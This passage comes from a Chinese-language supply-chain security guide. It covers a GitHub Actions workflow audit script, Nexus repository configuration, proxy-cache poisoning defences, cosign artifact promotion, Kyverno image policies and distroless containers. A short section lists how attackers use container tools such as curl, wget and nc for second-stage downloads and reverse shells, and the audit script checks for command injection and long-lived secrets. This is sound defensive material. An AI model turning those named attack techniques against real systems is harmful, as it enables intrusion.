                        'fix': '改为完整 40 位 commit SHA(tag 可被重新指向)'
                    })
            else:
                issues.append({
                    'severity': 'HIGH',
                    'msg': f'job [{job_name}]: Action 未指定版本 → {uses}',
                    'fix': '必须指定版本,且用 SHA'
                })

    # ---------- 检查 3/4:permissions ----------
    top_perms = wf.get('permissions')
    if top_perms is None:
        issues.append({
            'severity': 'MEDIUM',
            'msg': '未声明 permissions,将继承组织默认权限(通常是 read-write)',
            'fix': '顶层加 permissions: {},再在 job 级按需授权'
        })
    elif isinstance(top_perms, str) and top_perms == 'write-all':
        issues.append({
            'severity': 'HIGH',
            'msg': 'permissions: write-all —— 权限过大',
            'fix': '改为按需授权'
        })

    for job_name, job in (wf.get('jobs') or {}).items():
        jp = (job or {}).get('permissions')
        if isinstance(jp, dict):
            for scope, level in jp.items():
                if level == 'write' and scope in ('contents', 'packages', 'id-token'):
                    # id-token: write 通常是 OIDC 需要的,只提示不报错
                    if scope == 'id-token':
                        continue
                    issues.append({
                        'severity': 'LOW',
                        'msg': f'job [{job_name}]: permissions.{scope}=write,确认是否必要',
                        'fix': '按最小权限原则,改为 read 或移除'
                    })

    # ---------- 检查 5:脚本注入 ----------
    for job_name, job in (wf.get('jobs') or {}).items():
        for step in (job or {}).get('steps', []) or []:
            run = str(step.get('run', ''))
            if run and INJECTABLE_CONTEXT.search(run):
                issues.append({
                    'severity': 'HIGH',
                    'msg': (f'job [{job_name}]: run 中直接内插了不可信上下文 → '
                            f'可能存在命令注入'),
                    'fix': '改用 env: 传递,脚本里用 $VAR 引用'
                })

    # ---------- 检查 6:长期密钥 ----------
    if SECRET_KEY_PATTERN.search(content):
        issues.append({
            'severity': 'HIGH',
            'msg': '检测到长期密钥的使用(如 AWS_ACCESS_KEY / NPM_TOKEN)',
            'fix': '改用 OIDC 联邦换取临时凭证(见 9.5.4)'
        })

    # ---------- 检查 7:self-hosted runner ----------
    for job_name, job in (wf.get('jobs') or {}).items():
        runs_on = (job or {}).get('runs-on')
        if isinstance(runs_on, (list, str)):
            ro = str(runs_on)
            if 'self-hosted' in ro:
                issues.append({
                    'severity': 'INFO',
                    'msg': f'job [{job_name}]: 使用 self-hosted runner → {ro}',
                    'fix': '确认:① 仓库是否公开 ② 是否会被 fork PR 触发 ③ 是否有内网访问'
                })

    # ---------- 检查 8:缓存投毒 ----------
    for job_name, job in (wf.get('jobs') or {}).items():
        for step in (job or {}).get('steps', []) or []:
            uses = str(step.get('uses', ''))
            if 'actions/cache' in uses:
                with_ = step.get('with') or {}
                path = str(with_.get('path', ''))
                save_always = with_.get('save-always')
                if path in ('.', './', '*'):
                    issues.append({
                        'severity': 'MEDIUM',
                        'msg': f'job [{job_name}]: 缓存了整个工作目录,投毒风险高',
                        'fix': '缩小缓存目录(只缓存依赖目录)'
                    })
                if save_always is None:
                    issues.append({
                        'severity': 'LOW',
                        'msg': f'job [{job_name}]: 缓存未限制 save-always,'
                               f'fork PR 可能写入毒缓存',
                        'fix': '设置 save-always 只在内部 PR 时为 true'
                    })

    return issues


def main():
    if len(sys.argv) < 2:
        print('用法: python workflow_audit.py <仓库路径> [--format json]')
        sys.exit(1)

    repo = Path(sys.argv[1])
    as_json = '--format' in sys.argv and 'json' in sys.argv

    wf_dirs = [repo / '.github' / 'workflows']
    files = []
    for d in wf_dirs:
        if d.exists():
            files.extend(list(d.glob('*.yml')) + list(d.glob('*.yaml')))

    if not files:
        print(f'未找到 workflow 文件: {wf_dirs[0]}')
        sys.exit(0)

    all_issues = {}
    for f in files:
        issues = audit_workflow(f)
        if issues:
            all_issues[str(f.relative_to(repo))] = issues

    if as_json:
        print(json.dumps(all_issues, indent=2, ensure_ascii=False))
        return

    # 文本输出
    sev_order = {'CRITICAL': 0, 'HIGH': 1, 'MEDIUM': 2, 'LOW': 3, 'INFO': 4, 'ERROR': 0}
    sev_icon = {'CRITICAL': '🔴', 'HIGH': '🟠', 'MEDIUM': '🟡',
                'LOW': '🔵', 'INFO': '⚪', 'ERROR': '❌'}

    total = 0
    counts = {}
    for fname, issues in all_issues.items():
        print(f'\n{"="*70}')
        print(f'文件: {fname}')
        print(f'{"="*70}')
        for issue in sorted(issues, key=lambda x: sev_order.get(x['severity'], 9)):
            sev = issue['severity']
            counts[sev] = counts.get(sev, 0) + 1
            total += 1
            print(f'\n{sev_icon.get(sev, "?")} [{sev}] {issue["msg"]}')
            if issue.get('fix'):
                print(f'   → 修复: {issue["fix"]}')

    print(f'\n{"="*70}')
    print(f'总计 {total} 个问题,分布于 {len(all_issues)} 个文件')
    for sev in sorted(counts, key=lambda s: sev_order.get(s, 9)):
        print(f'  {sev_icon.get(sev)} {sev}: {counts[sev]}')
    print(f'{"="*70}')

    if counts.get('CRITICAL', 0) > 0:
        print('\n❌ 存在 CRITICAL 问题,必须立即修复!')
        sys.exit(1)


if __name__ == '__main__':
    main()

9.6 私有仓库与制品治理

9.6.1 三种仓库类型(理解 Nexus / Artifactory 的核心)

不管你用 Sonatype Nexus 还是 JFrog Artifactory,概念都是这三种:

┌────────────────────────────────────────────────────────────┐
│                                                              │
│   开发者 ──请求──> 【Group 仓库】(统一入口)                  │
│                        │                                     │
│          ┌─────────────┴─────────────┐                      │
│          ▼                           ▼                      │
│   【Hosted 仓库】              【Proxy 仓库】                 │
│   内部私有包                   代理公网的包                    │
│   (自己发布的)               (缓存 npmjs/maven central)    │
│                                     │                        │
│                                     ▼                        │
│                              公网 registry                   │
│                         (npmjs.org / repo1.maven.org)      │
│                                                              │
└────────────────────────────────────────────────────────────┘

① Proxy(代理仓库)
    作用:替你去公网拉包,拉到后缓存下来,下次直接从缓存给
    ★ 价值:
      - 加速(内网速度)
      - ★ 【管控】:可以在这里设白名单/黑名单,阻止某些包进入公司
      - 断网可用(公网挂了,已缓存的还能用)
    ⚠️ 风险:★ 第一次拉的包如果是恶意的,缓存后全公司都用这个(见 9.6.3)

② Hosted(宿主仓库)
    作用:存放【公司自己发布】的包
    ★ 价值:
      - 内部包的分发
      - ★ 可以设 "release 后不可修改"(防覆盖发布,见 9.2.5)
      - 权限控制:只有 CI 服务账号能写,人类只读

③ Group(仓库组)
    作用:把多个仓库聚合成一个 URL,开发者只需要配一个地址
    ★ 关键配置:【成员的先后顺序】
      → Maven 按顺序找,找到就停
      → 所以必须把 Hosted 放前面(防止被公网的同名包"抢答",即依赖混淆)

★ Group 仓库的顺序 —— 一个能直接防住依赖混淆的配置

❌ 错误顺序(公网在前):
   Group: [maven-central-proxy, acme-hosted]
   → 请求 acme-internal-utils:1.0.0 时,
     先问 maven-central-proxy,如果攻击者在 Maven Central 注册了这个 groupId,
     ★ 就直接命中公网的包了!

✅ 正确顺序(内部在前):
   Group: [acme-hosted, maven-central-proxy]
   → 先问内部仓库,内部有就用内部的
   → 内部没有才去公网

★ 更彻底的防护(推荐组合使用):
   ① Group 顺序:内部在前
   ② ★ 用 Routing Rule(Nexus)/ Exclude Pattern:
      明确禁止公网代理仓库提供 acme.* 这个 groupId 的包
      → 就算顺序配错了,公网也拿不到
   ③ 内部包用固定的 groupId 前缀(如 com.acme.internal.*),便于规则匹配

9.6.2 Nexus 配置实战(npm / Maven / Docker)

# ============================================================
# 一、Maven(Java)—— 最常用,配置也最典型
# ============================================================

# 1) settings.xml(开发者本地 + CI 都用这份)
cat > ~/.m2/settings.xml <<'EOF'
<settings>
  <servers>
    <!-- ★ 发布用的账号:只有 CI 应该有这个凭据 -->
    <server>
      <id>acme-releases</id>
      <username>${env.NEXUS_USER}</username>       <!-- ★ 从环境变量读,不写死 -->
      <password>${env.NEXUS_PASS}</password>
    </server>
    <server>
      <id>acme-snapshots</id>
      <username>${env.NEXUS_USER}</username>
      <password>${env.NEXUS_PASS}</password>
    </server>
  </servers>

  <mirrors>
    <!-- ★ ★ 关键:用 mirrorOf=* 强制所有请求走公司私服 -->
    <!-- 这样开发者 pom.xml 里配的任何 repository 都会失效 -->
    <!-- → 防止有人往 pom.xml 里加一个恶意的第三方仓库地址 -->
    <mirror>
      <id>acme-nexus</id>
      <mirrorOf>*</mirrorOf>
      <url>https://nexus.acme.com/repository/maven-public/</url>
    </mirror>
  </mirrors>

  <profiles>
    <profile>
      <id>acme</id>
      <repositories>
        <repository>
          <id>acme-public</id>
          <url>https://nexus.acme.com/repository/maven-public/</url>
          <releases><enabled>true</enabled></releases>
          <!-- ★ 禁止从仓库拉取 snapshot 到生产构建 -->
          <snapshots><enabled>false</enabled></snapshots>
        </repository>
      </repositories>
    </profile>
  </profiles>
  <activeProfiles>
    <activeProfile>acme</activeProfile>
  </activeProfiles>
</settings>
EOF

# 2) pom.xml 里的发布配置
cat >> pom.xml <<'EOF'
<distributionManagement>
  <repository>
    <id>acme-releases</id>
    <url>https://nexus.acme.com/repository/maven-releases/</url>
  </repository>
  <snapshotRepository>
    <id>acme-snapshots</id>
    <url>https://nexus.acme.com/repository/maven-snapshots/</url>
  </snapshotRepository>
</distributionManagement>
EOF

# 3) 发布(CI 里执行)
mvn clean deploy -DskipTests
# ★ 注意:maven-releases 仓库必须配置 "Disable redeploy"
#   (Nexus: Repository → maven-releases → Deployment policy: Disable redeploy)
#   → 防止同一个版本被重复发布(9.2.5 的覆盖发布攻击)

# 4) 校验:检查某个依赖到底来自哪个仓库
mvn dependency:get -Dartifact=org.apache.logging.log4j:log4j-core:2.14.1 -X 2>&1 \
  | grep -i "downloaded from"
# 输出:Downloaded from acme-public: https://nexus.acme.com/...  ← 走私服 ✓
# 如果输出 central: https://repo.maven.apache.org/...  ← ✗ 说明 mirror 没生效!

# ============================================================
# 二、npm
# ============================================================

# 1) .npmrc(★ 提交到项目根目录,让所有人一致)
cat > .npmrc <<'EOF'
# 公司内部 scope 强制走内部仓库
@acme:registry=https://nexus.acme.com/repository/npm-internal/

# 其他包走代理仓库
registry=https://nexus.acme.com/repository/npm-proxy/

# 认证(★ 用环境变量,不要写死 token)
//nexus.acme.com/repository/npm-internal/:_authToken=${NEXUS_NPM_TOKEN}
//nexus.acme.com/repository/npm-proxy/:_authToken=${NEXUS_NPM_TOKEN}

# ★ 安全相关
ignore-scripts=true              # 禁用安装脚本(9.2.4)
save-exact=true                  # 保存精确版本,不用 ^
package-lock=true                # 强制生成 lockfile
audit=false                      # 关掉 npm audit(我们用内部扫描器)
EOF

# 2) 发布内部包(CI)
npm config set //nexus.acme.com/repository/npm-internal/:_authToken=${NEXUS_NPM_TOKEN}
npm publish --registry=https://nexus.acme.com/repository/npm-internal/

# 3) 校验来源
npm config get registry
npm view lodash dist.tarball
#   → 必须是 https://nexus.acme.com/... 而不是 https://registry.npmjs.org/...

# ============================================================
# 三、Docker 镜像仓库
# ============================================================

# 1) 登录
docker login registry.acme.com

# 2) ★ 用 digest 拉取(不用可变 tag)
docker pull registry.acme.com/base/java@sha256:3f9c8b1e...

# 3) Nexus 上配置 Docker 仓库:
#    - docker-proxy:代理 docker.io
#    - docker-hosted:公司自己的镜像
#    - docker-group:聚合入口
#
#    ★ 关键配置:
#      docker.io 有匿名拉取的速率限制(每 6 小时 100 次),
#      不配 proxy 缓存会导致 CI 经常 429 失败
#      → 配了 proxy 后,第一个人拉取,后面都走缓存

# 4) 配置 Docker 镜像加速器/私服(daemon.json)
cat > /etc/docker/daemon.json <<'EOF'
{
  "registry-mirrors": ["https://nexus.acme.com:8443"],
  "insecure-registries": [],
  "log-driver": "json-file",
  "log-opts": { "max-size": "10m", "max-file": "3" }
}
EOF

9.6.3 缓存投毒:私服给你带来的新风险

★ 这是一个悖论:
   私服提高了安全性和可用性,
   但私服本身成了一个【新的单点 Trust】和【持久化投毒点】。

场景(★ 真实发生过):

  ① 开发者 A 在项目里用了个新包 cool-utils
  ② 私服的 proxy 仓库去公网拉取,缓存下来
  ③ 恰好这个包当时已经是恶意版本(或公网被劫持、或 DNS 被污染)
  ④ 私服缓存了这个恶意版本,【默认缓存 30 天或永久】
  ⑤ ★ 之后全公司任何人装 cool-utils,都拿到这个恶意版本
  ⑥ 即使攻击者的包后来被 npm 下架了,
     ★ 你私服里的缓存【依然存在】,继续毒害所有人

  ★ 这就是为什么"公网已经下架了恶意包,你公司还在中毒"。

  而且这个问题很难发现:
    - 私服的日志一般没人看
    - 大家默认"私服里的包是安全的"(信任传递)
    - 缓存的包不会重新校验

防御措施:

# ============================================================
# 防御 1:★ 组件准入扫描(Nexus Firewall / JFrog Xray)
# ============================================================
# 商业版的 Nexus/Artifactory 有防火墙功能:
#   在包【进入缓存】之前做扫描,恶意包直接拒绝缓存
#
# 开源替代方案:定期扫描已缓存的包
# 思路:拉出私服里所有包 → 用 osv-scanner / trivy 扫 → 报警

#!/usr/bin/env bash
# audit_nexus_cache.sh —— 定期审计私服缓存里的包
set -euo pipefail

NEXUS_URL="https://nexus.acme.com"
REPO="npm-proxy"

echo "=== 拉取私服缓存的全部包列表 ==="
# Nexus 3 的 API(分页)
PAGE=""
ALL_PKGS=""
while true; do
    RESP=$(curl -s -u "${NEXUS_USER}:${NEXUS_PASS}" \
        "${NEXUS_URL}/service/rest/v1/components?repository=${REPO}${PAGE}")
    PKGS=$(echo "$RESP" | jq -r '.items[].name')
    ALL_PKGS="${ALL_PKGS}
${PKGS}"
    CONT=$(echo "$RESP" | jq -r '.continuationToken // empty')
    if [ -z "$CONT" ]; then break; fi
    PAGE="&continuationToken=${CONT}"
done

COUNT=$(echo "$ALL_PKGS" | grep -c . || true)
echo "共缓存 ${COUNT} 个包"
echo ""

# 生成 lockfile 格式,用 osv-scanner 扫
echo "=== 用 osv-scanner 扫描已知漏洞 ==="
echo "$ALL_PKGS" | grep . | while read -r pkg; do
    echo "$pkg"
done > /tmp/pkgs.txt

# osv-scanner 支持 --lockfile,也支持直接扫 npm 的 package-lock.json
# 这里简化为:对每个包查 OSV API
echo "$ALL_PKGS" | grep . | head -200 | while read -r pkg; do
    RESULT=$(curl -s -X POST "https://api.osv.dev/v1/query" \
        -d "{\"package\": {\"name\": \"${pkg}\", \"ecosystem\": \"npm\"}}" \
        --max-time 10)
    VULN_COUNT=$(echo "$RESULT" | jq -r '.vulns // [] | length')
    if [ "$VULN_COUNT" != "0" ]; then
        IDS=$(echo "$RESULT" | jq -r '.vulns[].id' | paste -sd, -)
        echo "[!] ${pkg}: ${VULN_COUNT} 个已知漏洞 → ${IDS}"
    fi
done

echo ""
echo "=== 审计完成 ==="

# ============================================================
# 防御 2:★ 缓存 TTL 与定期清理
# ============================================================
# Nexus 配置:
#   Proxy repository → Storage →
#     Maximum component age: 30 天(★ 不要设为永久)
#     Maximum cache size
#   → 到期后重新从公网拉取校验(如果包被下架了,重新拉取会失败,从而暴露问题)

# 手动清理缓存:
curl -X DELETE -u "${NEXUS_USER}:${NEXUS_PASS}" \
  "${NEXUS_URL}/service/rest/v1/components?repository=npm-proxy"

# ============================================================
# 防御 3:★ 白名单模式(最严格,适合金融/国企)
# ============================================================
# 思路:proxy 仓库不是"什么都能拉",而是只允许白名单内的包
#
# Nexus 的 Routing Rules 或 Content Selectors:
#   Content Selector: allowed-npm-packages
#     表达式:path =~ "^/(lodash|react|express|axios|...)"
#   → 不在白名单里的包,私服返回 403
#   → 开发者要用新包,走审批流程加入白名单
#
# ★ 这是最有效的防投毒手段,但对开发效率有影响
#   折中做法:
#     - 生产环境相关的仓库:白名单模式
#     - 开发/实验仓库:黑名单模式(只禁已知恶意包)

# ============================================================
# 防御 4:★ 记录与审计"谁拉了什么"
# ============================================================
# 开启 Nexus 的访问日志,接入 SIEM
# 重点监控:
#   ① 第一次出现的包(之前没人拉过)
#   ② 拉取后立即有大量安装(可能是自动化传播)
#   ③ 深夜/节假日的新包拉取
#   ④ 从非 CI 出口 IP 的拉取(可能有人在个人电脑上绕过管控)

9.6.4 制品晋级与准入控制(从 dev 到 prod 的门禁)

★ 核心思想:制品不是"构建完就能上生产",而是要经过【晋级(promotion)】

  构建 → dev 仓库 → (扫描+测试) → staging 仓库 → (审批+验证) → prod 仓库
                         ↑                           ↑
                     自动门禁                     人工审批门禁

★ 为什么要分开仓库/分开 tag:
  ① 防止"没扫描过的镜像被部署到生产"
  ② 防止"测试环境的镜像直接推生产"(里面可能有调试代码)
  ③ ★ 出事时能快速确认"生产上跑的到底是哪一批制品"

  实现方式:
    - 方案 A:多仓库(nexus 的 docker-dev / docker-prod)
    - 方案 B:同一个仓库用不同 tag(acme/app:1.2.3-dev / 1.2.3-prod)
    - ★ 方案 C(推荐):同一个 digest,用 attestation 标记"已晋级"
      → 镜像内容不变(同一个 digest),只是多了几份签名证明
      → 这样避免了"复制镜像导致 digest 变化"的问题

用 cosign attestation 实现制品晋级:

#!/usr/bin/env bash
# promote_artifact.sh —— 制品晋级(dev → prod)
# ★ 不复制镜像,只添加"晋级证明"
set -euo pipefail

IMAGE="registry.acme.com/backend"
DIGEST="${1:?用法: promote_artifact.sh <sha256:xxx>}"

echo "=== 制品晋级流程 ==="
echo "目标制品: ${IMAGE}@${DIGEST}"
echo ""

# ---------- 门禁 1:验证构建来源 ----------
echo "① 验证 SLSA provenance(必须是我们自己的流水线构建的)"
cosign verify \
  --certificate-identity-regexp 'https://github\.com/acme/.*' \
  --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
  "${IMAGE}@${DIGEST}" || {
    echo "❌ 来源验证失败:这个制品不是可信流水线构建的"
    exit 1
  }
echo "   ✅ 来源可信"

# ---------- 门禁 2:检查漏洞扫描证明 ----------
echo ""
echo "② 检查漏洞扫描证明(必须扫描过且无高危)"
SCAN_RESULT=$(cosign verify-attestation \
  --certificate-identity-regexp 'https://github\.com/acme/.*' \
  --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
  --type vuln \
  "${IMAGE}@${DIGEST}" 2>/dev/null | jq -r '.payload' | base64 -d || echo "")

if [ -z "$SCAN_RESULT" ]; then
    echo "❌ 没有漏洞扫描证明,拒绝晋级"
    exit 1
fi

CRITICAL=$(echo "$SCAN_RESULT" | jq -r '.predicate.result.critical // 0')
HIGH=$(echo "$SCAN_RESULT" | jq -r '.predicate.result.high // 0')
echo "   扫描结果: critical=${CRITICAL}, high=${HIGH}"

if [ "$CRITICAL" != "0" ]; then
    echo "❌ 存在 ${CRITICAL} 个 CRITICAL 漏洞,拒绝晋级"
    exit 1
fi
if [ "$HIGH" -gt 3 ]; then
    echo "⚠️  存在 ${HIGH} 个 HIGH 漏洞,超过阈值 3,需要人工审批"
    # 这里可以发审批请求,简化为提示
    read -p "   是否仍然继续?(yes/no) " CONFIRM
    [ "$CONFIRM" = "yes" ] || exit 1
fi
echo "   ✅ 漏洞检查通过"

# ---------- 门禁 3:检查 SBOM 存在 ----------
echo ""
echo "③ 检查 SBOM(必须带 SBOM 才能上生产)"
if ! cosign verify-attestation \
     --certificate-identity-regexp 'https://github\.com/acme/.*' \
     --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
     --type spdx \
     "${IMAGE}@${DIGEST}" > /dev/null 2>&1; then
    echo "❌ 缺少 SBOM,拒绝晋级"
    exit 1
fi
echo "   ✅ SBOM 存在"

# ---------- 门禁 4:检查测试通过证明 ----------
echo ""
echo "④ 检查测试证明"
cosign verify-attestation \
  --certificate-identity-regexp 'https://github\.com/acme/.*' \
  --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
  --type test-result \
  "${IMAGE}@${DIGEST}" > /dev/null 2>&1 || {
    echo "❌ 没有测试通过证明,拒绝晋级"
    exit 1
  }
echo "   ✅ 测试通过"

# ---------- 晋级:添加 promotion attestation ----------
echo ""
echo "⑤ 添加晋级标记(signed promotion attestation)"
cat > /tmp/promotion.json <<EOF
{
  "promotedAt": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
  "promotedBy": "$(whoami)",
  "target": "production",
  "verifiedChecks": ["provenance", "vulnerability-scan", "sbom", "tests"]
}
EOF

cosign attest --yes \
  --predicate /tmp/promotion.json \
  --type promotion \
  "${IMAGE}@${DIGEST}"

echo ""
echo "✅ 制品已晋级到生产级别"
echo "   部署时使用: ${IMAGE}@${DIGEST}"

K8s 准入控制(部署前的最后一道门):

# ============================================================
# 用 Kyverno 实现"未签名/未带 SBOM 的镜像不许部署"
# ============================================================
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signature
spec:
  validationFailureAction: Enforce       # ★ Enforce = 阻止部署(不是只告警)
  background: false
  rules:
    - name: check-signature
      match:
        any:
          - resources:
              kinds: [Pod]
              namespaces: [production]
      verifyImages:
        # ★ 只对我们自己的镜像做强制(其他镜像可能没签名)
        - imageReferences:
            - "registry.acme.com/*"
          attestors:
            - entries:
                - keyless:
                    # ★ 要求签名者身份必须是我们的 CI 工作流
                    subject: "https://github.com/acme/*"
                    issuer: "https://token.actions.githubusercontent.com"
                    rekor:
                      url: https://rekor.sigstore.dev
          # ★ 同时要求必须有 SLSA provenance
          attestations:
            - predicateType: https://slsa.dev/provenance/v1
              conditions:
                - all:
                    - key: "{{ buildDefinition.externalParameters.workflow.repository }}"
                      operator: Equals
                      value: "https://github.com/acme/backend"

---
# ============================================================
# 用 Sigstore Policy Controller 也可以(更轻量)
# ============================================================
apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: acme-images
spec:
  images:
    - glob: "registry.acme.com/**"
  authorities:
    - keyless:
        url: https://fulcio.sigstore.dev
        identities:
          - issuer: https://token.actions.githubusercontent.com
            subject: https://github.com/acme/backend/.github/workflows/build.yml@refs/heads/main
      # ★ 必须包含 CT log 记录(Rekor)
      ctlog:
        url: https://rekor.sigstore.dev
  mode: enforce

9.6.5 制品治理的六项制度(技术之外的部分)

技术是工具,落地靠制度。这六条是可执行的、不需要大投入就能做的:

制度一:★ 人类账号只读,只有 CI 能写
   私服权限配置:
     - 开发者:只读(能拉包,不能发)
     - CI 服务账号:可写(且只能写自己项目对应的路径)
     - 管理员:全权限(且开启操作审计)
   ★ 这一条就能防住"某人的账号被盗后发布恶意包"

制度二:Release 仓库禁止覆盖发布(Disable Redeploy)
   Nexus: Repository → Deployment policy → Disable redeploy
   ★ 同一个版本只能发布一次,防止 9.2.5 的覆盖攻击

制度三:★ 内部包统一命名空间
   Java: com.acme.* (groupId)
   npm:  @acme/*    (scope)
   Docker: registry.acme.com/acme/*
   Python: 内部包名加 acme- 前缀 + 私服白名单
   ★ 这是防依赖混淆最彻底的办法

制度四:制品保留与清理策略
   保留:生产在用的所有版本(至少 90 天)
   清理:SNAPSHOT 保留 30 天、dev 镜像保留 30 天
   ★ 目的:① 省存储 ② 减少攻击面(旧版本漏洞多)③ 合规(能追溯)

制度五:季度依赖治理日
   每季度拿出半天:
     - 清理不再使用的依赖
     - 升级有高危漏洞的依赖
     - 检查新引入依赖的许可证
     - 复核 SBOM 与实际是否一致
   ★ 防止"技术债累积到无法收拾"

制度六:新增依赖的评审流程
   在 PR 模板里加一个勾选项:
     "本次 PR 是否引入了新的第三方依赖?"
   如果"是",要求填写:
     - 为什么需要(不能用现有依赖或自己实现吗?)
     - 许可证是什么
     - 维护者/活跃度评估(9.2.3 的 10 项清单)
     - 是否有安装脚本
   ★ 审批人:架构师或安全接口人

9.7 容器镜像的供应链安全

本节边界说明:11 号文档第八章讲的是 K8s 集群本身的安全(RBAC、NetworkPolicy、Pod Security、etcd 等)。 本节只讲镜像的供应链部分:镜像是怎么来的、怎么确认它没被动过、怎么让它更小更安全。

9.7.1 一个镜像里到底有多少东西是“别人的”

先看一组触目惊心的数字:

# 看看一个"典型"的 Java 应用镜像里有多少东西
docker run --rm acme/backend:1.2.3 \
  sh -c 'dpkg -l 2>/dev/null | grep -c "^ii" || rpm -qa | wc -l'
# 典型输出:287 个系统包

docker run --rm acme/backend:1.2.3 sh -c 'ls /usr/bin | wc -l'
# 典型输出:412 个可执行文件

# ★ 你的应用只用了其中一个(java),
#   剩下的 411 个都是"送的" —— 也是攻击者的工具箱
一个典型镜像的构成(按"谁写的"分类):

  ┌─────────────────────────────────────────┐
  │  你的应用代码 + 你的依赖    (你写的)    │  ← 5%   ★ 你只 review 这 5%
  ├─────────────────────────────────────────┤
  │  JDK / Node / Python 运行时 (第三方)   │  ← 25%  ★ 有 CVE 你才知道
  ├─────────────────────────────────────────┤
  │  基础镜像的系统库           (发行版)   │  ← 60%  ★ 几乎没人看
  ├─────────────────────────────────────────┤
  │  shell / coreutils / curl / 包管理器     │  ← 10%  ★ ★ 攻击者的工具箱
  │  (你根本用不到,但它在那儿)            │         (下载木马、改文件、留后门)
  └─────────────────────────────────────────┘

★ 关键认知:
  镜像里的【每一个二进制文件,都是攻击者可以利用的工具】。

  有 curl / wget  → 他可以下载二阶段木马
  有 bash / sh    → 他可以执行任意命令、写持久化
  有 gcc / make   → 他可以在容器里现编译 rootkit
  有 apt / yum    → 他可以安装更多工具
  有 nc / socat   → 他可以做反弹 shell、端口转发

  ★ 这就是为什么 distroless 和最小化镜像重要的原因:
    不是"更小的镜像更快"(那只是附带好处),
    而是【移除攻击者的工具箱】。

镜像的信任链(要能说出每一环谁负责):

  ① 上游发行版(Debian / Alpine)构建基础镜像
        ↓  ★ 你信任 Debian 的构建流程
  ② 语言官方(Eclipse Temurin / node official)基于 ① 做运行时镜像
        ↓  ★ 你信任 Docker Official Images 的维护流程
  ③ 你的公司基于 ② 做"公司标准基础镜像"(加监控 agent、CA 证书等)
        ↓  ★ 你信任你们平台团队
  ④ 你的项目基于 ③ 构建应用镜像
        ↓  ★ 你信任你们 CI(9.5)
  ⑤ 部署到 K8s

  ★ 任何一环出问题,你的镜像就有问题。
  而且你通常【只看得到第 ④ 步】。

  ★★ 所以下面这个问题很重要:
      "你怎么知道你用的基础镜像是干净的?"
      答:
        ① 用官方镜像(Docker Official Images / 云厂商出品),不用个人镜像
        ② 用 digest 锁定(9.2.5)
        ③ 用可信的、有 SLSA provenance 的镜像
        ④ 扫描(9.7.4)—— 但知道扫描只能发现【已知】漏洞
        ⑤ 定期更新(★ 基础镜像的漏洞通常比你的应用依赖更多)

9.7.2 基础镜像的选择与治理

主流选择对比:

基础镜像 大小(参考) 包管理器 shell 优点 缺点 适合
ubuntu:22.04 ~77 MB apt ✅ 生态全、熟悉 ★ 太大、工具太多 开发调试,别上生产
debian:bookworm-slim ~30 MB apt ✅ 平衡 还是有完整工具链 通用
alpine:3.19 ~7 MB apk ✅(ash) ★ 极小 ⚠️ musl libc 兼容问题(JNI、DNS)、apk 生态小 小工具、Go 应用
eclipse-temurin:21-jre-alpine ~180 MB apk ✅ Java 运行时 含完整 OS 工具 Java 入门
distroless/java21 ~200 MB ❌ ❌ ★★ 无 shell、无包管理器 调试困难(需要 debug 变体) ★ 生产推荐
scratch(空镜像) 0 ❌ ❌ ★★★ 只有你的二进制 只能跑静态编译的(Go/CGO_ENABLED=0) ★ Go 应用最优
chainguard/wolfi-base ~10 MB apk 可选 ★ 每日更新、带 SBOM 和签名 商业支持要付费 新兴选择

★ Distroless 实战

# ============================================================
# ❌ 常见写法(一个 Java 应用的 Dockerfile)
# ============================================================
FROM eclipse-temurin:21-jre-alpine
WORKDIR /app
COPY target/app.jar app.jar
EXPOSE 8080
ENTRYPOINT ["java", "-jar", "/app/app.jar"]
#★ 问题:这个镜像里有 sh、wget、apk、curl、ps、netstat...
#   如果攻击者拿下这个容器,他有全套工具可用

# ============================================================
# ✅ Distroless 写法(多阶段构建)
# ============================================================
# ---------- 阶段 1:构建(用完整镜像,有 JDK 和 Maven)----------
FROM maven:3.9.6-eclipse-temurin-21 AS builder

WORKDIR /build
COPY pom.xml .
# ★ 先只复制 pom.xml,利用 Docker 层缓存(依赖不变时不重新下载)
RUN mvn dependency:go-offline -B

COPY src ./src
RUN mvn clean package -DskipTests

# ---------- 阶段 2:运行时(distroless,只有 JRE)----------
FROM gcr.io/distroless/java21-debian12:nonroot@sha256:xxxx

WORKDIR /app
# ★ --from=builder 只把 jar 复制过来,其他都不要
COPY --from=builder --chown=nonroot:nonroot /build/target/app.jar /app/app.jar

USER nonroot          # ★ distroless 自带 nonroot 用户(uid 65532)
EXPOSE 8080
ENTRYPOINT ["java", "-jar", "/app/app.jar"]

# ============================================================
# ★ 验证:这个镜像里没有 shell
# ============================================================
# docker run --rm acme/backend:distroless sh
#   → exec: "sh": executable file not found in $PATH
#      ★ 攻击者就算 RCE 了,也执行不了命令(除非他自带二进制)

# docker run --rm --entrypoint= acme/backend:distroless ls /
#   → 只有:app/  etc/  proc/  sys/  usr/  (还有 java 运行时)
#      ★ 没有 /bin/sh、没有 /usr/bin/curl、没有包管理器
★ 但 distroless 带来一个现实问题:怎么调试?

问题:生产上容器出问题了,你想进去看看 —— 进不去,没有 shell。

三个解法:

  解法一:用 distroless 的 debug 变体
     gcr.io/distroless/java21-debian12:debug
     → 这个变体带了 busybox(有 sh、ls、cat 等)
     → 生产用非 debug 版,排查时用 debug 版临时替换(★ 但这样就不是同一个 digest 了,
        所以只在受控的排查场景用,排查完立刻切回)

  解法二:★ kubectl debug + 临时容器(K8s 1.23+ 推荐)
     kubectl debug -it <pod> --image=busybox:1.36 --target=<container> -- sh
     → 在【目标容器的命名空间里】起一个临时容器
     → 能看到目标容器的进程、文件系统(/proc/<pid>/root)
     → ★ 不需要改生产镜像,不需要重启 Pod

  解法三:靠可观测性,不靠进容器
     ★ 这才是正道:
       - 指标:Prometheus + Grafana
       - 日志:集中式日志(ELK / Loki)
       - 链路:OpenTelemetry / SkyWalking
       - 诊断:Spring Boot Actuator、JFR、Arthas(通过 JMX 或 HTTP 接口)
     → "如果能靠 observability 解决,就永远不要进容器"

★ 自建公司基础镜像的流水线(平台团队的活,但你要能说出思路):

# ============================================================
# 公司标准基础镜像的构建流水线(每周自动重建)
# ============================================================
name: Build Base Image

on:
  schedule:
